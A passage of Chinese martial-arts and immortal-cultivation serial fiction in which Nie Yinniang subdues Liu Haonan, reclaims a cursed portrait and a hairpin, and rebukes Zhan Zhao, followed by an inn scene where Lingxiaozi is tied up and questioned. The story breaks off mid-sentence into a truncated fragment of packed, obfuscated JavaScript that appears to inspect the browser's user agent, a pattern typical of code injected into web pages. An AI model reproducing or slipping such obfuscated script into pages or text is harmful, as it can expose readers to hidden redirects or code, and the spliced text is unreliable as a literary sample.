刘皓南甚至连瞳孔都没来得及完全收缩,只觉一股冻结灵魂的寒意瞬间笼罩全身,旋即,周身一僵!那不是点穴手法带来的滞涩,也不是强大内力压制下的动弹不得,而是一种更为根本、更为霸道的禁锢——仿佛他所在的这一小片空间,连同空间内的他,被某种无形的法则从天地间暂时“剥离”了出去,被强行“冻结”在了原地!他体内澎湃的华山内力、诡秘的辽地萨满巫力,此刻如同陷入琥珀的飞虫,连一丝一毫都无法调动。他想动一动手指,却发现连这个念头传递到指尖的过程都变得无比缓慢、艰涩,最终完全停滞。唯有眼珠还能艰难地转动,目光深处,终于难以抑制地迸发出前所未有的、混杂着惊骇、难以置信与一丝本能恐惧的锐芒。在绝对的、超越武学范畴的力量面前,他过往引以为傲的一切修为、智谋、秘术,都显得如此苍白无力。这,就是修仙者与凡俗武者之间,那道不可逾越的天堑吗? 聂隐娘甚至没有再看刘皓南第二眼,仿佛他只是路边一颗微不足道的石子,弹指间便已尘埃落定。她转而瞥向一旁的展昭,目光扫过,并未施加任何实质性的束缚或威压,仅仅是那淡淡的一瞥。 然而,就是这一瞥,却让展昭如遭雷亟,心神剧震!那目光中蕴含的,并非是看向刘皓南时的冰冷与漠然,而是一种更深沉的、混合了威严、审视,以及毫不掩饰的失望。那目光仿佛能穿透皮囊,直照他内心深处——照见他之前对师妹所赠法器因是“女子饰物”而存有的那丝轻慢,照见他护卫不周、致使师门重宝旁落的失职,更照见他在此等诡谲事件中,似乎仍固守着世俗律法框架的某种“局限”。在这位早已超脱凡俗、见识过沧海桑田的师尊面前,他这位名震开封的御前四品带刀护卫、江湖上声名赫赫的“御猫”,此刻竟感觉自己如同当年那个刚刚拜入山门、懵懂无知的幼童,手足无措,满心惶恐。他握着巨阙剑的手,不自觉地、带着一丝不易察觉的颤抖,缓缓垂落下来,剑尖轻轻触地。不是屈服,而是一种在更高存在、更纯粹力量与道理面前的,本能般的恭谨与自省。 聂隐娘似乎对展昭的反应不置可否,衣袖只是随意地朝着刘皓南方向轻轻一拂。不见劲风,刘皓南怀中那卷以丝绦紧束、贴身收藏的画像,便仿佛被一只无形而温柔的手托起,轻飘飘地、毫无滞碍地穿过了那层无形的剑气禁锢,稳稳地落入她的掌心。她的指尖抚上那质地奇异、隐现人面轮廓的画绢,动作轻柔得不可思议,仿佛不是在触碰一件死物,而是在抚摸一段早已湮灭在时光长河中的、易碎的梦境。那双清冷如寒潭的眼眸深处,极快地闪过一抹难以捕捉的、沉淀了太久岁月的痛楚,如同古井微澜,但转瞬之间,便被更加凛冽、更加实质化的冰冷怒意所取代。这怒意并非凡人的勃然大怒,而是一种源自血脉、源自传承、源自对某种神圣事物被亵渎的绝对冰冷。 “阎立本真迹,以精魂入画,神韵无双。” 她指尖在画卷一角轻点,那处原本看似空白的地方,竟浮现出一枚小小的、灵光氤氲的阎立本私人印鉴虚影。 “颜真卿题字,《兰亭》神髓,字字风骨,暗合天道。” 指尖移向题跋处,那些铁画银钩的字迹仿佛活了过来,流淌出淡淡的金色光辉,浩然正气与缠绵情意交织。 “太平公主真容,非画皮,乃以吐蕃秘法‘牵魂引’,取心甘情愿供奉之圣女眉心皮、心头血,融其一生虔诚信仰与寿元精气,方得此‘不灭仙颜’。” 她的指尖悬停在画中女子栩栩如生的面容上方,并未真正触及,但那面容却在荧光中仿佛泛起一丝极淡的、悲悯的微笑,随即隐去。空气中似乎响起一声极轻的、满足又哀伤的叹息。 “而这纹样 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刘皓南虽口不能言,身不能动,但心神未失,听得清清楚楚,看得明明白白。他心中早已掀起惊涛骇浪,但并非因为画卷的珍贵或力量,而是因为聂隐娘话语中透露出的、远超他预计的恐怖牵连!他本只为追寻自身那迷雾重重的北汉皇室后裔身世,以及可能与之相关的宝藏线索而来,潜入薛府,取得画像,都以为只是揭开尘封历史的一角。然而此刻,吐蕃秘法、玉女门圣物、太平公主与薛绍的千年情债、甚至可能牵扯到更深层次的王朝气运与修仙秘辛……这一切像一张骤然张开、庞大到令人窒息的无形巨网,将他牢牢罩在其中。事情的发展,早已脱离了他最初的预想,朝着一个他完全无法掌控、也绝不愿卷入的深渊滑去。他眼中闪过的惊骇,更多是对这错综复杂、步步杀机的局面的本能警惕。 紧接着,聂隐娘那仿佛能洞悉一切的目光,冷冷地扫过刘皓南另一侧袖口。她甚至不需要用眼睛去看,神念微动,便已感知到那件与画卷同源、却性质迥异的物品。 “还有那支簪子,” 她冷哼一声,声音里的寒意几乎能将空气冻结,“一并拿来!” 不见她有任何抓取的动作,只是心念微动,目光所及,法则相召!刘皓南袖中暗袋之内,那枚阴寒刺骨、曾自动飞出伤了他的七瓣梅花金簪,竟自行震颤着,如同被无形丝线牵引,“嗖” 地一声破开他的衣袖,划过一道微带暗金色的弧线,稳稳地落入聂隐娘早已摊开的、白皙如玉的掌心之中。 金簪入手,聂隐娘并未立刻查看,但其簪头镶嵌的七色宝石,却在触及她肌肤的刹那,骤然迸发出远比在刘皓南手中时明亮、灵动百倍的光芒!七色光华交替流转,隐约构成一个微缩的、不断生灭的梅花虚影,一股温暖中带着坚韧、哀伤中蕴藏守护的奇异力量波动,以金簪为中心,轻轻荡漾开来,竟暂时驱散了殿中那无处不在的冰冷玉意与诡异乐声残留的余韵。 聂隐娘手持这枚光华流转的金簪,目光却如最锋利的绝世名剑,猛地转向呆立一旁的展昭。这一次,她眼中的情绪不再是单纯的威严与失望,而是掺杂了难以置信的愤怒,以及一丝……深深的痛心。 “展昭!” 她声音陡然拔高了一丝,虽依旧清冷,却带着金铁交鸣般的穿透力,每一个字都像重锤,狠狠砸在展昭的心口,“你可知此乃何物?!” 她将金簪举到展昭眼前,七色光华映亮了他瞬间失去血色的脸庞。“此乃薛绍赠予太平公主的定情信物,亦是河东薛氏传承千年、用以‘护心佑命、镇压族运’的至宝!簪体以天外玄金混合西方精金铸就,七瓣梅花嵌七星灵玉,内蕴薛绍将军毕生武道精魄与对太平的一腔赤诚!它不仅是一件信物,更是一件真正的护命法宝!可挡一次必死之劫,护持心脉魂魄不散!” 她的话语如同冰雹,砸得展昭头晕目眩,摇摇欲坠。“我念在小蝶那丫头对你一片痴心,唯恐你这块只知公门律法、不识人心鬼蜮的榆木疙瘩,有朝一日在江湖风波、朝堂诡谲中横死殒命,她苦苦哀求,我才默许她将此簪交于你手,指望着它能在关键时刻,替你挡下一次死劫!” 聂隐娘越说越气,清冷的面容因怒意而微微泛红,那是生平都极少出现在她脸上的情绪波动:“你倒好——竟因它是女子簪环,便心生轻慢,觉得有损你展护卫的男儿气概?觉得是女儿家的小玩意儿,配不上你巨阙剑的威风?将其随意塞在怀中,不知以心血温养,不晓以神识沟通,致使其灵性蒙尘,护主之能十不存一!才让这北汉小子,以凡俗武功,便能趁隙将其夺去!” “太平公主若在天有灵,见她与薛绍的定情之物、护命之宝,被你这般轻贱慢待,被他人如此轻易夺走,她岂能瞑目!薛绍将军若泉下有知,见他薛氏千年传承,护持爱妻的至宝,沦落至此,又该作何感想!” 展昭如遭五雷轰顶,面色瞬间惨白如纸,嘴唇哆嗦着,却发不出任何声音。他从未想过,这枚看似精美甚至有些“女气”的金簪,竟有如此惊天的来历,如此沉重的含义,如此逆天的功用!护命法宝?挡死劫?师妹庞小蝶当初红着眼眶,近乎蛮横地将这包首饰塞给他时,只含糊说是“师门传下的护身小玩意儿,带着总没坏处”,他还曾因其中多为女子饰物而暗自皱眉,觉得携带不便,有损威仪……此刻,巨大的悔恨如同冰冷的潮水,瞬间淹没了他。他不仅辜负了师妹的深情与担忧,更轻慢了师门的重托,亵渎了一段穿越千年、感人至深的真情与传承!若那夜刘皓南夺去的不仅是一支簪子,而是他或小蝶的一条生路……他简直不敢想下去。后怕与羞愧如同两条毒蛇,狠狠噬咬着他的心脏,让他几乎无法呼吸,握剑的手控制不住地剧烈颤抖起来。 聂隐娘见他这副失魂落魄、悔恨交加的模样,心中怒气更盛,却也夹杂着一丝“恨铁不成钢”的无奈。她深知这个徒弟性子方正,重责任,此刻怕是已将自己责备到了骨子里。但这教训,必须给足! 她不再多言,猛地抬手,竟是将那支光华内敛、却依旧散发着不凡波动的七瓣梅花金簪,狠狠地、带着几分惩戒意味地,塞进了展昭因震惊和羞愧而僵直的手掌之中。力道之大,让展昭掌心一阵刺痛发麻,却也让他混沌的头脑为之一清。 “拿好了!” 聂隐娘厉声道,声音在玉殿中回荡,带着不容置疑的威严,“从今日起,每日以自身精血一滴、真气温养半个时辰,以心神沟通,直至其重新认你为主,灵光复现!若再敢有半分轻慢,或致其有失,你也不必来见我了!” 教训完徒弟,她的目光再次扫过被剑气禁锢、动弹不得的刘皓南,眼神中的冰冷怒意并未完全消退。她冷哼一声,对着刘皓南的方向,看似随意地再次屈指一弹。这一次,动作更加细微,几乎难以察觉。 “砰!” 一声沉闷的、仿佛气劲在体内爆开的轻响从刘皓南身上传来。刘皓南浑身剧震,如遭重击,脸色瞬间一白,闷哼一声,嘴角溢出一缕鲜红。他只觉得数道尖锐如针、却又冰冷刺骨的异种气息猛地钻入自己数处主要经脉之中,并非大肆破坏,而是如同最狡猾的水蛭,附着在经脉内壁,带来阵阵针扎般的刺痛与滞涩感。他体内原本流畅运转的真气,顿时变得晦涩不畅,尤其当他想强行提气时,那刺痛与滞涩感便骤然加剧,仿佛经脉随时会被撑裂。这是惩戒,并非致命伤,但足以让他在接下来一段时间内,实力大打折扣,行动受限,算是对他擅动玉女门圣物、卷入此事的小惩大诫。 聂隐娘不再看刘皓南痛苦隐忍的神色,目光掠过这奢华诡异、乐声已停但余韵未消的白玉舞殿,眼中闪过一丝了然与淡漠。 “至于此间种种,” 她的声音恢复了之前的清冷空灵,仿佛在陈述一个与己无关的事实,“无论是那几起看似离奇的疯癫命案,还是这薛府地宫、白玉舞殿,乃至你们追寻的前朝遗宝、唐宫秘辛……追根溯源,不过是人心贪念作祟,咎由自取罢了。” 她语气平淡,却带着一种俯瞰众生的疏离感:“那几家家主,或是觊觎薛家可能藏匿的太平公主遗宝,或是与某些知晓内情的‘引路人’勾结,试图探寻这‘幻音舞殿’之秘,借其中残留的‘飞天引’与血祭之气修炼邪术、窥探长生,结果道行不足、心性不坚,反被殿中积累数百年的怨念、执念与邪异乐声侵蚀心智,陷入疯狂,屠戮亲族后自毁而亡。此为贪嗔痴毒,自食其果,与宋廷律法何干?又岂是你们这些凡俗武者、朝廷鹰犬,凭着几式刀剑、几页卷宗,便能窥探、裁断的?” 言罢,她似乎已对此地、此人、此事彻底失去了兴趣。青影微动,甚至未曾见她有任何迈步的动作,只是身影在原地微微一晃,仿佛水中的倒影被轻风吹皱。下一个刹那,她已出现在先前踏出的那处空间裂痕之前——那裂痕竟还未完全弥合,边缘依旧闪烁着细微的空间乱流。 她一步踏出,身形便没入那片破碎的虚空之中,消失无踪,连同那卷人皮画像一起带走。只留下一句余音,袅袅回荡在寂静下来的白玉殿内: “此间事了,速离。此地非尔等久留之所。” 随着她身影的消失,那空间的裂痕也迅速弥合,仿佛从未出现过。禁锢刘皓南的无形剑气之网,也在同一时间无声消散,仿佛从未存在。 压力骤去,刘皓南再也支撑不住,闷哼一声,单膝跪倒在地,一手捂住胸口,额头上瞬间渗出细密的冷汗。经脉中传来的阵阵刺痛与滞涩感让他呼吸都有些不畅,他尝试运转内力,却发现比平时艰涩了数倍,且稍一用力便刺痛加剧。他咬紧牙关,强行压下翻腾的气血,心中没有对那金簪的觊觎,只有一片冰冷与沉重。聂隐娘的出现和话语,如同在他探寻身世的迷雾之路上,又投下了一块更巨大、更沉重的阴影。事情,果然比他想象的还要复杂、危险得多。他缓缓抬头,看向展昭,目光复杂,有对自身伤势的恼火,有对局面失控的警惕,也有一丝同处迷雾的微妙共鸣。 展昭则兀自呆立原地,低头看着被强行塞入掌心、尚留有师尊力道与余温的金簪,第一次如此清晰地感受到,这小小一枚金簪之中,所蕴含的跨越千年的深沉情感、誓死守护的诺言,以及师门那份沉重而隐秘的寄托。掌心被簪子硌得生疼,但这疼痛却让他混乱的心绪渐渐清晰,羞愧与悔恨并未减少,却转化为了更加沉甸甸的责任。他缓缓地、极其珍重地将金簪握紧,仿佛握住了师妹的性命相托,握住了师尊的厉声嘱托,也握住了那段尘封历史的一角真相。 白玉舞殿重归死寂,长明灯的光芒依旧温润而冰冷地流淌,映照着壁上飞天静止的舞姿,仿佛刚才那惊天动地的一幕从未发生。但殿中两人的心境,已因聂隐娘那一席冰冷如刀、却又蕴含惊天秘辛的话语,以及随之而来的惩戒与揭示,而彻底天翻地覆,再难平静。那支七瓣梅花金簪,在展昭手中,已不再是一件“不合时宜”的女子饰物,而成了一条连接着千年情仇、师门秘辛、护命因果,甚至可能影响未来无数变数的,沉重无比的丝线。而刘皓南经脉中的隐痛,也在无声地提醒着他,这趟浑水,远比想象的更深、更危险。 41. 血脉禁制 洛阳城东,一间不甚起眼的客栈二楼。 夜深了,窗外檐角的灯笼在夜风中晃动,将斑驳的光影投入房中。一盏桐油灯搁在靠墙的方桌上,灯芯燃得久了,结出一朵黄豆大小的昏黄油花,颤巍巍地亮着,勉强照亮房间一角。凌霄子在房中团团乱转,脚下的老旧木板被他焦躁的步伐踩得“吱呀吱呀”作响,每一步都透着心烦意乱。 “你那个爹呀!”凌霄子猛地停下脚步,转过身,指着窗边那位斜倚窗框、正捏着一块玫瑰酥慢条斯理享用着的少年,胡子都快翘起来了,“就是个茅坑里的石头——又臭又硬的死脑筋!榆木疙瘩凿不开窍的小古板!” 刘朔抬眼,长长的睫毛在眼下投出一小片阴影。他不慌不忙地将最后一口酥脆香甜的点心咽下,甚至还伸出舌尖,极其自然地舔了舔指尖沾着的糖霜和酥皮碎屑,动作透着少年人特有的慵懒与不在意。 凌霄子见状更是气不打一处来,几步冲到刘朔跟前,唾沫星子几乎要溅到少年脸上:“玉女门的女人!从那位太平公主,到如今这位一剑光寒十九州的聂掌门,往上往下数三代,有一个是好相与的主儿吗?!太平公主当年何等权势滔天、心思莫测;聂隐娘如今……”他说到这里,下意识缩了缩脖子,压低声音,仿佛怕被千里之外的某人听见,“如今更是剑术通玄,修为深不可测,脾气比她手里的青锋剑还要冷硬锋利三分!一言不合是真敢劈人的!你爹倒好,夜探薛府那种沾满了血腥邪气的凶宅还不够,还敢伸手拿人家祖师奶奶遗留下来的画像……” “吱呀——” 房门被从外推开的声音打断了凌霄子的喋喋不休。 刘皓南立在门口,一身便于夜间行动的玄色劲装尚未更换,衣襟和下摆沾染了些许地宫深处的尘埃,脸色在昏暗灯光下显得有些苍白,嘴唇抿成一条直线,气息似乎比平日略沉。他反手轻轻合上门,目光越过喋喋不休的师叔,径直落在凌霄子那张表情夸张的脸上。屋内摇曳的灯火将他挺拔却略显紧绷的身影投在斑驳的墙壁上,拉得很长。 “师叔。” 两个字,声调不高,甚至有些低沉,却像两块沉重的寒冰投入油锅,让屋内原本就有些凝滞的空气骤然一沉,连那朵颤动的灯花都似乎静止了一瞬。 凌霄子浑身肌肉瞬间绷紧,脸上那副气急败坏的表情如同变戏法般,眨眼间换成了夸张到近乎谄媚的惊喜,声音拔高了八度:“哎呦!我的乖师侄!你可算全须全尾地回来了!可把师叔我担心坏了!”他一边说,一边张开双臂作势就要扑上来查看,仿佛真是位担心晚辈的慈祥长辈。 然而,他刚迈出半步,就被刘皓南一个微不可察、却精准无比的侧身避开了。刘皓南甚至没有多看凌霄子那浮夸的表演一眼,向前踏了半步,目光如铁铸的锁链,牢牢锁住凌霄子试图躲闪的眼神。 “那画中女子的容貌,”刘皓南的声音平静无波,却带着一种不容置疑的穿透力,细听之下,似乎压抑着一丝经脉受损后的隐痛,“为何与我母妃如此肖似?几可乱真。以人皮为底作画,又是何故?吐蕃秘法‘牵魂引’,你可知晓?” 他一连三问,句句直指核心,没有任何废话。地宫中的遭遇,聂隐娘那绝对碾压的实力、冰冷的话语、随手惩戒留下的隐痛,都像冰冷的巨石压在他心头。面对那位深不可测、身为女儿恩师的聂掌门,他连一丝正面追问或抗衡的余地都没有,甚至因为女儿的关系,许多事他必须更加审慎。此刻,他所有翻腾的疑问、压抑的怒火、对身世谜团更深的困惑与不安,只能尽数转向眼前这位或许知情,却惯会插科打诨、与聂隐娘有过纠葛的师叔。 凌霄子搓着手,脸上堆起的笑容有些僵硬,眼神开始不受控制地飘向窗户、房梁、油灯,就是不敢与刘皓南对视:“这个嘛……皓南啊,那画……嘿嘿,那可是了不得的好东西!当年吐蕃那些大和尚,为了巴结太平公主,可是下了血本进贡的!据说……” “我问,为何用人皮作画。”刘皓南打断他,声音更冷了一分,同时微微吸了口气,似乎牵动了体内的隐痛,让他眉头几不可察地蹙了一下。这细微的动作被凌霄子捕捉到,让他眼神闪烁得更厉害。 凌霄子被这气势所慑,下意识后退了半步,后背抵上冰凉的墙壁,声音不自觉地又拔高了,带着几分被逼急的虚张声势:“吐蕃蛮子嘛!那些化外之民,茹毛饮血,就爱搞这些神神叨叨、装神弄鬼的玩意儿!他们觉着,用那经过秘法鞣制的、最好是出身高贵又自愿献身的处女背上的皮来作画,能通灵!能锁魂!邪性得很呐!谁沾上谁倒霉!”他说得唾沫横飞,手舞足蹈,试图用夸张的语气掩盖心虚。 末了,他两手一摊,肩膀一耸,做出一个极其无辜的表情:“至于你母妃……我说好师侄,你师叔我虽然走南闯北,可还真没那个福分见过你母妃的仙容啊!我哪知道为啥像?许是……许是天下美人,总有那么几分神韵相似嘛!画圣阎立本妙笔生花,说不定就照着某种‘天下美人’的标准模子画的呢?”他越说声音越小,眼神闪烁得更加厉害,右手拇指和食指不自觉地开始相互搓动。 一直倚在窗边,仿佛置身事外的刘朔,看到师祖这个小动作,嘴角几不可察地勾了一下。他手腕忽然一抖,快如闪电——一道细若发丝、几近透明、在昏黄灯光下几乎完全看不见的银线自他袖中激射而出,精准无比地在凌霄子身上绕了几圈,瞬间收紧! “嗯?”凌霄子正全身心应付刘皓南的逼问,哪料到自家徒弟会突然发难?待他察觉不对,已然被捆了个结实。那银线看似纤细,入手却冰凉柔韧至极,隐隐有光华流动,绝非寻常丝线。 “牵情丝?!”凌霄子脱口而出,脸上满是错愕,“这玩意儿怎么在你手上?!这不是玉女门……”他话到一半猛然刹住,瞪大了眼睛看向刘朔,随即脸上露出恍然、懊恼又带着点哭笑不得的神情,“是望舒那丫头给你的?她居然把这东西给你了?还拿来对付我?!” 显然,凌霄子是认得这银线的,而且深知其来历和特性,正因如此,他才一时不察中了招。他万万没想到,自家侄孙女会用玉女门的法宝“坑”自己,更没想到这法宝会落在刘朔手里,还被用来对付自己。 “师傅,”刘朔好整以暇地拍了拍手上的点心碎屑,踱着步子慢悠悠地走上前,脸上带着一种“兵不厌诈”的浅浅笑容,蹲下身与被困得动弹不得、一脸憋屈的凌霄子平视,“小妹用冰蚕网吊了我一天一夜,这是赔礼。她说,有时候对付某些喜欢耍滑头的老前辈,这东西比讲道理管用。”他指尖微挑,那“牵情丝”仿佛活物般又无声地收紧了些许,勒得凌霄子龇牙咧嘴,“咱们先不说画。那支……七瓣梅花金簪呢?聂前辈似乎很在意那东西,说是薛绍送给太平公主的定情信物,还是河东薛氏的传家宝?您之前跟我爹提过薛家旧事,可没提过这簪子这么有来头,而且……似乎还是玉女门代代相传的重宝?” 刘朔特意在“玉女门代代相传的重宝”上加重了语气,清澈的目光直视凌霄子,显然意有所指。关于师傅凌霄子年轻时与那位冷若冰霜的聂掌门有过那么一段不足为外人道的纠葛,他和父亲两年前便知道些风声,只是长辈不提,他们也不便多问。如今这定情意味浓厚的金簪出现,由不得他不多想。 凌霄子的脸色瞬间变得精彩纷呈,一阵红一阵白,被自家徒弟用“老相好”师门的法宝捆着追问人家祖师的定情信物,这感觉简直让他恨不得找个地缝钻进去。他吹胡子瞪眼:“小兔崽子!反了你了!快给为师松开!这、这成何体统!” “您先说说簪子的事。”刘朔不为所动,指尖银光微闪,“说清楚了,徒儿自然给您松绑。不然,您今晚就委屈一下,这样也挺好,省得您又‘肚子疼’或者‘酒虫犯了’。” 凌霄子瞪着刘朔,又瞥了一眼旁边面沉如水、显然不会轻易罢休的师侄,肩膀终于垮塌下来,脸上那副玩世不恭的表情彻底收敛,取而代之的是一种混合着尴尬、追忆和无奈的复杂神色。他叹了口气,声音低了下去,带着几分难以启齿的别扭: “罢了罢了……真是上辈子欠了你们父子的……”他嘀咕着,眼神飘忽了一下,才不情不愿地开口:“那簪子……确是薛绍倾尽心血,为太平公主打造的定情信物,也是河东薛氏传承了不知多少代的传家宝,与薛氏一族的气运都有些关联。后来……后来薛家败落,几经辗转,不知怎的,就……就成了玉女门代代相传的一件信物。”他说得含糊,刻意省略了“辗转”的具体过程,显然那段历史涉及他与聂隐娘的私事,难以对外人言,尤其是晚辈。 他抬眼看向沉默不语的刘皓南,语气难得地带上了几分郑重,试图将话题拉回正轨:“传闻此物炼制之法极为古老特殊,早已失传。簪体材质非凡,内蕴玄机,长期贴身佩戴,不仅能辟邪镇煞,更能潜移默化地护持佩戴者心脉,温养神魂。最玄乎的说法是……”他顿了顿,压低声音,“据说此簪灵性极高,能在佩戴者遭逢致命危机时,自发护主,甚至有‘挡灾替死’的奇效。当然,是真是假,无人亲眼见过,或许只是以讹传讹的夸大之词。” 说到此处,凌霄子脸上尴尬之色稍褪,摇了摇头,语气中带着一丝难以言喻的感慨:“至于聂隐娘……她将这件师门重宝,传给了她那宝贝徒弟庞小蝶,本是指望着能护着那丫头周全。谁知庞小蝶也是个实心眼的傻姑娘,一门心思都在开封府那只‘御猫’身上,转头又把这可能是救命的东西塞给了展昭那傻小子……啧,真是……”他摇了摇头,没再说下去,但意思很明显。 刘皓南沉默地听着,脸上的线条在昏暗灯光下显得愈发冷硬。经脉中因聂隐娘惩戒而残留的隐痛阵阵传来,时刻提醒着他方才经历的无力与那位女子的可怕。他闭了闭眼,压下心头翻涌的复杂情绪,再次开口时,声音比之前更加低沉沙哑,带着难以掩饰的疲惫与执着: “我母妃……与太平公主,究竟有何关联?仅仅是容貌相似?”他睁开眼,目光灼灼,不容凌霄子再有丝毫回避,“师叔,你知道些什么。聂掌门提及玉女门守护此画数百年。而我北汉刘氏……这画像,这地宫,这簪子……师叔,告诉我实话。” 凌霄子被“牵情丝”捆着,动作有些别扭地缓缓转过头。昏黄的灯光在他那张平时总是嬉笑怒骂的脸上投下深深浅浅的阴影,让他难得显出几分凝重与沧桑。他盯着刘皓南看了许久,目光复杂,有怜悯,有追忆,还有一丝难以言说的无奈。半晌,他才慢吞吞地开口,声音低沉了许多,不再是之前那种夸张虚浮的语调: “皓南啊……有些陈年旧事,牵扯太深,水也太浑。师叔我……当年因一些旧事,与玉女门,与聂掌门,确有些往来,也因此知晓了些许秘辛。但其中许多细节,涉及他人私隐与宗门传承,实不便、也不能与你细说。”他含糊地带过了与聂隐娘的具体纠葛,脸上闪过一丝不自然。 “不过……”他声音压得更低,几如耳语,仿佛怕隔墙有耳,“据某些流传在极少数古老家族和隐世门派中的、极为隐秘的说法……你们北汉刘氏的龙兴之祖,往上追溯血脉,说不定……真跟太平公主那一脉凤子龙孙,有些说不清、道不明的牵扯。或许并非直系,但定有渊源。否则,如何解释你母妃的容貌,与那以秘法留存、凝聚了太平公主毕生精魄神韵的画像,相似到那般地步?这世上,哪来那么多巧合?” 话音未落,凌霄子眼中精光一闪!被“牵情丝”束缚的身体猛地一挣,试图运起独门缩骨卸力的功夫脱身——他对这玉女门的法宝特性其实颇为了解,刚才猝不及防中了招,此刻缓过劲来,便想试着挣脱。 然而,刘朔的反应更快!几乎在凌霄子肩头微动的刹那,少年手腕极其灵巧地一抖一绕,那“牵情丝”并非硬拉,而是顺着凌霄子用力的方向,如灵蛇般缠绕上去,瞬间将他几处发力的关节和穴道更巧妙地锁住,同时一股奇异的冰凉气息顺着丝线透入,让他刚刚提起的内息微微一滞。 “师傅,”刘朔的笑容里带着几分“早就防着您这手”的狡黠,“小妹给这‘牵情丝’时,特意教了我几手专门对付您那‘泥鳅功’的法子。她说,您见到这绳子,多半会想试试能不能挣开。” 凌霄子挣了两下,发现这次捆得比刚才更“专业”、更难受,那股透入体内的冰凉气息更是让他气血微微不畅,终于长叹一声,彻底放弃挣扎,颓然坐倒在地,一脸“女大不中留,侄孙女也靠不住”的悲愤。他眼神在昏黄的灯光下闪烁不定,似乎在飞快地权衡着什么,脸上时而犹豫,时而纠结,最终,化为一声几不可闻的、充满疲惫与深意的嘀咕: “你们啊……真是逼死老道了……有些事,知道得太多,未必是好事。尤其是牵扯到那些陈年旧怨、前朝秘辛,还有那些早就该埋在土里的老怪物和不该现世的东西……”他摇了摇头,似乎下定了决心,抬眼看向刘皓南和刘朔,眼神变得异常认真,甚至带着一丝警告: “那簪子,既然是玉女门代代相传之物,如今聂隐娘已取回,并交给了展昭,那便是展昭的缘分,也是玉女门内部的安排。其中或许有庞丫头的情意,或许有聂掌门的算计,或许……还有别的深意。你们……莫要再深究,更莫要再打它的主意。至于你们北汉刘氏,与太平公主,甚至与这洛阳城下的秘密,与那幅画……” 他忽然诡异地顿了顿,眼底深处闪过一丝难以捉摸的、近乎怜悯又带着某种奇异期待的光芒,声音压得极低,仿佛耳语: “……或许很快,你们自己就会明白了。风暴将起,你们……早已身在局中,避无可避。这城下埋藏的秘密,这重新现世的信物,这纠缠三百年的血脉与恩怨……远比你们现在看到的、想象的,还要惊人,还要……危险。好自为之吧。” 灯火“噼啪”轻爆了一下,光芒跳动,将房中三人姿态各异的身影投在斑驳的墙壁上,扭曲晃动,如同皮影戏中命运未卜的角色。凌霄子颓坐在地,被玉女门的“牵情丝”所缚,一脸无奈;刘朔蹲在一旁,指尖银光微闪,神色平静;刘皓南沉默伫立,面色在光影中晦暗不明,唯有眼底深处,翻涌着化不开的疑虑与凝重。窗外夜色正浓,远处传来隐约的更梆声。凌霄子未能如愿脱身,他吐露的信息虽仍有所保留,但“身在局中”、“风暴将起”的判语,却比窗外沉沉的夜色更加浓郁,更加令人不安。那枚此刻或许已被展昭握在手中、暗自温养的七瓣梅花金簪,如同投入命运长河的一颗石子,激起的涟漪,正在看不见的地方,悄然扩散。 洛阳客栈的客房内,油灯将熄未熄,昏黄的光晕在墙壁上投下摇曳不安的影子。空气中弥漫着陈年木料、劣质灯油与一丝若有若无的焦躁气息。 被那银色、看似纤细实则坚韧无比的“牵情丝”捆得结结实实的凌霄子,正暗地里吹胡子瞪眼,周身气劲如泥鳅般钻滑,试图在这玉女门的恼人玩意上找到一丝可乘之机。他一边努力,一边心里骂骂咧咧,把自己那“孝顺”徒弟刘朔和这劳什子丝线的发明者从头到脚问候了一遍。 就在这时,刘皓南与侍立一旁的少年刘朔,交换了一个极短暂、却含义明确的眼神。 刘朔这小子立刻会意,嘴角勾起一抹了然又带着点顽劣的笑意,故意拔高了嗓门,声音在寂静的夜里显得格外清亮:“哎呀!这个时辰,母亲也该起身练功了!我得赶紧去看看,免得她找不着人!” 他说着,脚下生风,三步并作两步就蹿到了门边,动作快得像只偷油成功的老鼠。临出门前,还不忘回头冲被捆成粽子、正暗自用劲的师傅凌霄子咧了咧嘴,那笑容里三分促狭,七分“师傅您多担待”的意味,顺手还极其“贴心”地——哐当一声——将房门关得严严实实,连条缝儿都没留。 屋内霎时一静。 方才还有几分“人气”的房间,此刻空气凝重得仿佛能拧出水来。油灯的火苗又不安地跳动了几下,光线更暗了,将刘皓南映在墙上的影子拉得忽长忽短,如同他此刻晦暗难明的心绪。 凌霄子扭动的动作顿住了,他狐疑地抬起眼皮,看向自己那个向来主意正、脾气倔的师侄。 只见刘皓南面沉如水,那双总是清冷克制的眼眸深处,此刻却翻滚着某种近乎偏执的暗潮。他没有看凌霄子,只是缓缓地、极其珍重地从怀中贴身之处,取出一枚玉佩。 玉佩温润,触手生温,在昏暗光线下流转着内敛的光华,质地非玉非石,内里似有星芒点点,缓缓游移,玄妙异常。这是母妃留给他唯一的遗物,自他记事起便从未离身。几个时辰前,在那诡异宅邸中与人皮画像的短暂接触,虽然后者已被那神出鬼没的聂隐娘夺走,但玉佩与画像之间那瞬间产生的、微弱却真实的共鸣与牵扯,却如同烧红的烙铁,在他心头烫下深刻的印记,此刻仍在隐隐作痛,呼唤着他去探寻。 真相。他只要一个真相。母妃究竟是谁?为何玉女门对其讳莫如深?那人皮画像上的女子与母妃是何关系?画像背后又隐藏着什么?这些疑问如同毒藤,缠绕着他的心神,越是压抑,越是疯长。潜在的凶险,未知的反噬,所有这些,在“我要知道”这四个字面前,都显得苍白无力。他刘皓南做事,向来如此,认准了,十头牛也拉不回。 他心下一横,眼中最后一丝犹豫也被斩断。既然感应尚存一线,那便溯流而上,管它前方是刀山火海还是万丈深渊,撞了再说! 他不再理会旁边凌霄子骤然瞪大的眼睛和那几乎要化为实质的“你小子别乱来”的警告目光,径直盘膝坐下,将玉佩置于身前地面。他要强行施展华山秘传,却因传承不全而凶险倍增的“溯影回光”之术,以这蕴含特殊气息的玉佩为媒,以自身承袭自母妃、或许也关联着那画像女子的稀薄血脉为引,逆向追溯那短暂接触中感知到的、几乎快要消散的血脉印记。凝神,静气,摒弃万般杂念。刘皓南的呼吸变得极其缓慢悠长,周身外放的气息也随之收敛,微弱得几乎与这客房内沉寂的空气融为一体。然而,他的神识却如一张精心编织的、无形无质的蛛网,以自身为中心,极其艰难地、一丝一缕地向外铺开,小心翼翼地捕捉、粘附玉佩周遭空气中,那残留的、与画像产生共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 